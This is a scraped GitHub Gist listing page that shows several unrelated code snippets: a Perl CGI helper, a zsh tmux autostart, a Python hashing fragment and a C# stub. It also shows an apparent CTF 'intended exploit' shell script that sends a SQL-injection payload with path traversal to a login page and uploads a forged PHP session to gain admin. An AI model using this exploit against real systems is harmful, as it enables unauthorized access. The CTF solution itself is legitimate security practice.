Skip to content

Instantly share code, notes, and snippets.

@ytoku
ytoku / MyCGI.pm
Last active September 7, 2015 15:43
Smart Cipher System inside
use strict;
use warnings;
use CGI;
use base 'Exporter';
our @EXPORT = qw(handle tohex);
sub tohex {
my $s = shift;
$s =~ s/(.)/unpack("H*", $1) . " "/sge;
$s;
@ytoku
ytoku / exploit.sh
Last active September 11, 2015 06:56
Mortal Magi Agents: intended exploit
TARGET_URL=http://localhost:10080
PASSWORD=''
HASHED_PASSWORD=$(echo -n $PASSWORD | sha1sum | awk '{print $1}')
COOKIEFILE=$(mktemp)
SESSFILE=$(mktemp)
echo -n 'user|s:1:"a";admin|b:1;' > $SESSFILE
curl -s -c $COOKIEFILE "$TARGET_URL/login.php" -d "signin=&password=$PASSWORD&user=') AND 0 UNION SELECT '', '$HASHED_PASSWORD', '', 0 -- /../../../../../var/lib/php5/sess_" >/dev/null
curl -s -b $COOKIEFILE "$TARGET_URL/index.php?page=settings" -F "file=@$SESSFILE" >/dev/null
@qnighy
qnighy / zshrc-runtmux.sh
Created June 23, 2015 12:53
.zshrc: run tmux automatically
if [[ ! -n "${TMUX-}" ]]; then
if tmux has-session; then
tmux attach-session || exit $?
exit 0
else
tmux || exit $?
exit 0
fi
fi
import hashlib
PRIME = 10162817389166932304743927803664677577393035849460315554227038992256439669168822924924642681859165915398841119695331997622323074382673543580118593098794075768017359068156207668418577358758037040886636583057751950491466568754968161402970164774854422196808968101372380404300325099055524339557705423721707
G = 1323857230486534278
def get_salt(m):
for _ in range(1000):
m = hashlib.sha512(m).hexdigest()
return m
using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using System.Reflection;
using System.Reflection.Emit;
namespace ConsoleApplication1
{
class Program